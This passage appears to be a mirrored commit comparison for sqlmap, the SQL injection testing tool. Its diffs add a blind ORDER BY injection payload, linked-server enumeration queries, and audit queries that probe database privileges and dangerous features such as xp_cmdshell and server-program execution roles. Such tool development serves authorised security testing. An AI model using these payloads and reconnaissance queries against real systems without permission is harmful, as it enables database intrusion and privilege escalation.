mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-11-09 04:59:34 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6faa9bb929 | ||
|
|
2ff5db17ba | ||
|
|
c42ebd7acf | ||
|
|
2d046c1a75 | ||
|
|
f8a42cf016 | ||
|
|
81d17b1ad2 | ||
|
|
083d9d0e6f | ||
|
|
a01582b83f | ||
|
|
94f8cf8136 | ||
|
|
6a94f23251 | ||
|
|
6df778743f | ||
|
|
6e06114947 | ||
|
|
c9745f883d | ||
|
|
11afdcb026 | ||
|
|
5b8a2faab1 | ||
|
|
da21091459 | ||
|
|
5e2a6aeec8 | ||
|
|
8461fd402b | ||
|
|
9b0e262560 | ||
|
|
d57415479a | ||
|
|
d0ad9b2e34 | ||
|
|
6530184e2c | ||
|
|
e90078184d | ||
|
|
559d6f4543 | ||
|
|
71af9b3d8a | ||
|
|
516f55935c | ||
|
|
b208262c37 | ||
|
|
9a1660aa12 | ||
|
|
0cf2f6db07 | ||
|
|
c94f6d0041 | ||
|
|
5b180533c1 | ||
|
|
2c6e4d85b5 | ||
|
|
1b1f93ae5c |
No files matched your search
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value_in_use IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),value_in_use) END AS audit_value
|
||||
FROM master.sys.configurations
|
||||
WHERE name IN ('xp_cmdshell','clr enabled','Ole Automation Procedures','Ad Hoc Distributed Queries')
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,11 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective database user' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),CURRENT_USER) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'effective login' AS audit_key,CASE WHEN SUSER_SNAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),SUSER_SNAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'original login' AS audit_key,CASE WHEN ORIGINAL_LOGIN() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),ORIGINAL_LOGIN()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN DB_NAME() IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),DB_NAME()) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'sysadmin' AS audit_key,CASE WHEN IS_SRVROLEMEMBER('sysadmin') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),IS_SRVROLEMEMBER('sysadmin')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,6 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT N'visible linked servers' AS audit_key,N'V'+CONVERT(NVARCHAR(MAX),COUNT(*)) AS audit_value FROM master.sys.servers WHERE is_linked=1
|
||||
UNION ALL
|
||||
SELECT N'link '+CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT AS audit_key,N'V'+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>')+N' (data access: '+RTRIM(CASE is_data_access_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N'; RPC out: '+RTRIM(CASE is_rpc_out_enabled WHEN 1 THEN N'enabled' WHEN 0 THEN N'disabled' ELSE N'unavailable' END)+N')' AS audit_value
|
||||
FROM master.sys.servers v WHERE is_linked=1 AND (SELECT COUNT(*) FROM master.sys.servers s WHERE s.is_linked=1 AND s.server_id<=v.server_id)<=%LIMIT%
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'execute xp_cmdshell' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.dbo.xp_cmdshell','OBJECT','EXECUTE')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read configuration metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.configurations','OBJECT','SELECT')) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'read linked-server metadata' AS audit_key,CASE WHEN HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT') IS NULL THEN N'N' ELSE N'V'+CONVERT(NVARCHAR(MAX),HAS_PERMS_BY_NAME('master.sys.servers','OBJECT','SELECT')) END AS audit_value
|
||||
) audit_rows WHERE 1=1 ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM performance_schema.global_variables
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT LOWER(VARIABLE_NAME) AS audit_key,CASE WHEN VARIABLE_VALUE IS NULL THEN 'N' ELSE CONCAT('V',VARIABLE_VALUE) END AS audit_value
|
||||
FROM information_schema.GLOBAL_VARIABLES
|
||||
WHERE LOWER(VARIABLE_NAME) IN ('local_infile','require_secure_transport','read_only','super_read_only','general_log','log_bin','skip_networking','skip_grant_tables')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'secure_file_priv' AS audit_key,CASE WHEN @@GLOBAL.secure_file_priv IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.secure_file_priv AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'max_allowed_packet' AS audit_key,CASE WHEN @@GLOBAL.max_allowed_packet IS NULL THEN 'N' ELSE CONCAT('V',CAST(@@GLOBAL.max_allowed_packet AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(CURRENT_USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN USER() IS NULL THEN 'N' ELSE CONCAT('V',CAST(USER() AS CHAR)) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'server version' AS audit_key,CASE WHEN VERSION() IS NULL THEN 'N' ELSE CONCAT('V',CAST(VERSION() AS CHAR)) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'direct FILE grant' AS audit_key,CONCAT('V',CAST(COUNT(*) AS CHAR)) AS audit_value
|
||||
FROM information_schema.USER_PRIVILEGES
|
||||
WHERE PRIVILEGE_TYPE='FILE' AND GRANTEE=CONCAT(CHAR(39),LEFT(CURRENT_USER(),LENGTH(CURRENT_USER())-LENGTH(SUBSTRING_INDEX(CURRENT_USER(),'@',-1))-1),CHAR(39),'@',CHAR(39),SUBSTRING_INDEX(CURRENT_USER(),'@',-1),CHAR(39))
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN value IS NULL THEN 'N' ELSE 'V'||value END AS audit_value
|
||||
FROM v$parameter
|
||||
WHERE name IN ('remote_os_authent','remote_login_passwordfile','sql92_security','audit_trail','os_authent_prefix')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,12 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'visible directory grants' AS audit_key,'V'||TO_CHAR(COUNT(*)) AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
UNION ALL
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT d.directory_name||' ['||p.privilege||'] (via '||p.grantee||')' AS audit_key,'V'||d.directory_path AS audit_value
|
||||
FROM all_directories d JOIN all_tab_privs p ON p.table_schema=d.owner AND p.table_name=d.directory_name
|
||||
WHERE p.type='DIRECTORY' AND p.privilege IN ('READ','WRITE') AND (p.grantee=SYS_CONTEXT('USERENV','CURRENT_USER') OR p.grantee='PUBLIC' OR p.grantee IN (SELECT role FROM session_roles))
|
||||
ORDER BY d.directory_name,p.privilege,p.grantee
|
||||
) audit_details WHERE ROWNUM<=%LIMIT%
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,9 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','CURRENT_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','CURRENT_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','SESSION_USER') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','SESSION_USER')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','DB_NAME') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','DB_NAME')) END AS audit_value FROM DUAL
|
||||
UNION ALL
|
||||
SELECT 'SYSDBA session' AS audit_key,CASE WHEN SYS_CONTEXT('USERENV','ISDBA') IS NULL THEN 'N' ELSE 'V'||TO_CHAR(SYS_CONTEXT('USERENV','ISDBA')) END AS audit_value FROM DUAL
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'DBA role active' AS audit_key,'V'||CASE WHEN COUNT(*)>0 THEN 'yes' ELSE 'no' END AS audit_value FROM session_roles WHERE role='DBA'
|
||||
UNION ALL
|
||||
SELECT privilege,'Vgranted' FROM session_privs WHERE privilege IN ('CREATE ANY DIRECTORY','CREATE EXTERNAL JOB','EXECUTE ANY PROCEDURE','ALTER SYSTEM','SELECT ANY DICTIONARY')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,5 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT name AS audit_key,CASE WHEN setting IS NULL THEN 'N' ELSE 'V'||setting END AS audit_value
|
||||
FROM pg_catalog.pg_settings
|
||||
WHERE name IN ('ssl','password_encryption','row_security','logging_collector','log_statement','log_connections','log_disconnections')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'effective account' AS audit_key,CASE WHEN CURRENT_USER IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'login identity' AS audit_key,CASE WHEN SESSION_USER IS NULL THEN 'N' ELSE 'V'||CAST(SESSION_USER AS TEXT) END AS audit_value
|
||||
UNION ALL
|
||||
SELECT 'database' AS audit_key,CASE WHEN CURRENT_DATABASE() IS NULL THEN 'N' ELSE 'V'||CAST(CURRENT_DATABASE() AS TEXT) END AS audit_value
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -0,0 +1,7 @@
|
||||
SELECT audit_key,audit_value FROM (
|
||||
SELECT 'superuser' AS audit_key,'V'||CASE WHEN rolsuper THEN '1' ELSE '0' END AS audit_value FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT 'bypass RLS','V'||CASE WHEN rolbypassrls THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname=CURRENT_USER
|
||||
UNION ALL
|
||||
SELECT rolname,'V'||CASE WHEN pg_has_role(oid,'USAGE') THEN '1' ELSE '0' END FROM pg_catalog.pg_roles WHERE rolname IN ('pg_read_server_files','pg_write_server_files','pg_execute_server_program')
|
||||
) audit_rows ORDER BY audit_key
|
||||
@@ -1365,6 +1365,27 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- No parentheses or functions (e.g. value-wide character whitelists, #6145): TRUE keeps the original
|
||||
sort column, FALSE raises a runtime regular expression error ('(' pattern) -->
|
||||
<test>
|
||||
<title>MySQL boolean-based blind - ORDER BY clause (RLIKE)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>3</where>
|
||||
<vector>CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</vector>
|
||||
<request>
|
||||
<payload>CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE 1 RLIKE 0x28 END</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
|
||||
@@ -173,6 +173,10 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<links>
|
||||
<inband query="SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') FROM master.sys.servers WHERE is_linked=1 ORDER BY server_id"/>
|
||||
<blind query="SELECT link_name FROM (SELECT CAST(name AS NVARCHAR(MAX)) COLLATE DATABASE_DEFAULT+N' -> '+ISNULL(data_source COLLATE DATABASE_DEFAULT,N'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY server_id) AS rn FROM master.sys.servers WHERE is_linked=1) AS links WHERE rn=%d+1" count="SELECT COUNT(*) FROM master.sys.servers WHERE is_linked=1"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS NVARCHAR(MAX))"/>
|
||||
<length query="LTRIM(STR(LEN(%s+'.')-1))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
@@ -253,6 +257,10 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Oracle">
|
||||
<links>
|
||||
<inband query="SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') FROM ALL_DB_LINKS ORDER BY OWNER,DB_LINK"/>
|
||||
<blind query="SELECT link_name FROM (SELECT OWNER||'.'||DB_LINK||' -> '||NVL(HOST,'<unknown>') AS link_name,ROW_NUMBER() OVER (ORDER BY OWNER,DB_LINK) AS rn FROM ALL_DB_LINKS) WHERE rn=%d+1" count="SELECT COUNT(*) FROM ALL_DB_LINKS"/>
|
||||
</links>
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
@@ -1931,7 +1939,7 @@
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
<blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
|
||||
|
||||
@@ -18,13 +18,14 @@ declare -x SCRIPTPATH="${0}"
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
git diff HEAD -- $SETTINGS_FULLPATH | grep "^+VERSION =" > /dev/null && exit 0 # Note: manually set VERSION (staged or not, e.g. "git commit -a") is kept as is
|
||||
|
||||
if [ -f $SETTINGS_FULLPATH ]
|
||||
then
|
||||
LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"')
|
||||
# Note: a new month restarts the counter (i.e. '.0' gets tagged by post-commit hook), while a version already a month ahead (early release) just keeps counting
|
||||
declare -a LINE
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = time.gmtime().tm_mon; _[-2:] = _[-2:] if (int(_[-2]) - month) % 12 in (0, 1) else [str(month), '0']; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
if [ -n "$INCREMENTED" ]
|
||||
then
|
||||
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
|
||||
|
||||
@@ -134,6 +134,18 @@ def action():
|
||||
if conf.getProcs:
|
||||
conf.dumper.procedures(conf.dbmsHandler.getProcedures())
|
||||
|
||||
if conf.getLinks:
|
||||
try:
|
||||
conf.dumper.links(conf.dbmsHandler.getLinks())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getAudit:
|
||||
try:
|
||||
conf.dumper.audit(conf.dbmsHandler.getAudit())
|
||||
except SqlmapNoneDataException as ex:
|
||||
logger.critical(ex)
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
|
||||
@@ -403,7 +403,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
# Parse test's <request>
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
@@ -517,13 +517,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# payload was successful
|
||||
# Parse test's <response>
|
||||
for method, check in test.response.items():
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# In case of boolean-based blind SQL injection
|
||||
if method == PAYLOAD.METHOD.COMPARISON:
|
||||
# Generate payload used for comparison
|
||||
def genCmpPayload():
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
|
||||
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None, clause=clause)
|
||||
|
||||
# Forge response payload by prepending with
|
||||
# boundary's prefix and appending the boundary's
|
||||
@@ -627,7 +627,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
# A real boolean injection's TRUE condition reproduces the normal page, so this
|
||||
# status-code asymmetry is the classic false positive - refuse it here.
|
||||
if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400:
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %s status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode)
|
||||
warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive"
|
||||
logger.warning(warnMsg)
|
||||
injectable = False
|
||||
|
||||
@@ -223,6 +223,9 @@ def _autoWafBypass(place, parameter, value):
|
||||
|
||||
return retVal
|
||||
|
||||
def _targetInfo():
|
||||
return {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}
|
||||
|
||||
def _showInjections():
|
||||
if conf.wizard and kb.wizardMode:
|
||||
kb.wizardMode = False
|
||||
@@ -234,13 +237,12 @@ def _showInjections():
|
||||
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||
|
||||
if conf.api:
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", _targetInfo(), content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
# --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
|
||||
# printing them (the human-readable injection points are rendered just below)
|
||||
# --report-json: capture the same TECHNIQUES structure the API emits, without printing it (the
|
||||
# human-readable injection points are rendered just below); TARGET is reported per target in start()
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
|
||||
conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
|
||||
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
@@ -376,9 +378,9 @@ def start():
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
targetCount += 1
|
||||
|
||||
# --report-json: give each target its own taskid in the shared collector, so a multi-target
|
||||
# run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData)
|
||||
if conf.reportJson:
|
||||
# --report-json / REST API: give each target its own taskid in the shared collector, so a multi-target
|
||||
# run (e.g. '-m' bulk file) doesn't have later targets overwrite earlier ones (see _reportData/StdDbOut.write)
|
||||
if conf.reportJson or conf.api:
|
||||
kb.reportTaskId = targetCount
|
||||
|
||||
try:
|
||||
@@ -522,6 +524,11 @@ def start():
|
||||
|
||||
setupTargetEnv()
|
||||
|
||||
# --report-json: every tested target gets its own group with its identity, also when nothing is found
|
||||
# (otherwise its errors, e.g. connection failures, would have no group to land in)
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData(_targetInfo(), CONTENT_TYPE.TARGET)
|
||||
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
|
||||
+37
-10
@@ -61,6 +61,31 @@ from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.unescaper import unescaper
|
||||
from thirdparty import six
|
||||
|
||||
def _isGroupOrderByClause(clause):
|
||||
"""
|
||||
Returns True if (test's/injection's) clause is exclusively GROUP BY and/or ORDER BY
|
||||
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
True
|
||||
>>> _isGroupOrderByClause([PAYLOAD.CLAUSE.WHERE, PAYLOAD.CLAUSE.ORDER_BY])
|
||||
False
|
||||
"""
|
||||
|
||||
return bool(clause) and set(clause) <= set((PAYLOAD.CLAUSE.GROUP_BY, PAYLOAD.CLAUSE.ORDER_BY))
|
||||
|
||||
def _markerSafeRandom(generator):
|
||||
"""
|
||||
Returns a random value (e.g. for [RANDNUM]) not containing the --string/--not-string page marker,
|
||||
as a reflected one (e.g. echoed in a DBMS error message) would otherwise fake the comparison
|
||||
"""
|
||||
|
||||
markers = filterNone((conf.get("string"), conf.get("notString")))
|
||||
|
||||
while True:
|
||||
retVal = getUnicode(generator())
|
||||
if not any(_ in retVal for _ in markers):
|
||||
return retVal
|
||||
|
||||
class Agent(object):
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
@@ -184,7 +209,7 @@ class Agent(object):
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue) or ""
|
||||
newValue = self.cleanupPayload(newValue, origValue, clause=kb.injection.clause if kb.get("injection") else None) or ""
|
||||
|
||||
if base64Encoding:
|
||||
_newValue = newValue
|
||||
@@ -296,9 +321,9 @@ class Agent(object):
|
||||
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
|
||||
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
|
||||
query = kb.injection.prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
|
||||
elif _isGroupOrderByClause(kb.injection.clause):
|
||||
query = kb.injection.prefix
|
||||
elif clause == [2, 3] or clause == [2] or clause == [3]:
|
||||
elif _isGroupOrderByClause(clause):
|
||||
query = prefix
|
||||
|
||||
# In any other case prepend with the full prefix
|
||||
@@ -356,7 +381,7 @@ class Agent(object):
|
||||
|
||||
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
|
||||
|
||||
def cleanupPayload(self, payload, origValue=None):
|
||||
def cleanupPayload(self, payload, origValue=None, clause=None):
|
||||
if not isinstance(payload, six.string_types):
|
||||
return
|
||||
|
||||
@@ -375,16 +400,18 @@ class Agent(object):
|
||||
payload = payload.replace(value, replacements[value])
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
if origValue is not None:
|
||||
origValue = getUnicode(origValue)
|
||||
|
||||
if "[ORIGVALUE]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||
# Note: in a GROUP BY/ORDER BY payload a (plain identifier) original value is the column itself - quoting it would turn it into a constant
|
||||
raw = origValue.isdigit() or (_isGroupOrderByClause(clause) and re.search(r"\A[\w.]+\Z", origValue) is not None)
|
||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if raw else unescaper.escape("'%s'" % origValue))
|
||||
if "[ORIGINAL]" in payload:
|
||||
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
|
||||
|
||||
@@ -426,10 +453,10 @@ class Agent(object):
|
||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||
|
||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, str(randomInt()))
|
||||
payload = payload.replace(_, _markerSafeRandom(randomInt))
|
||||
|
||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||
payload = payload.replace(_, randomStr())
|
||||
payload = payload.replace(_, _markerSafeRandom(randomStr))
|
||||
|
||||
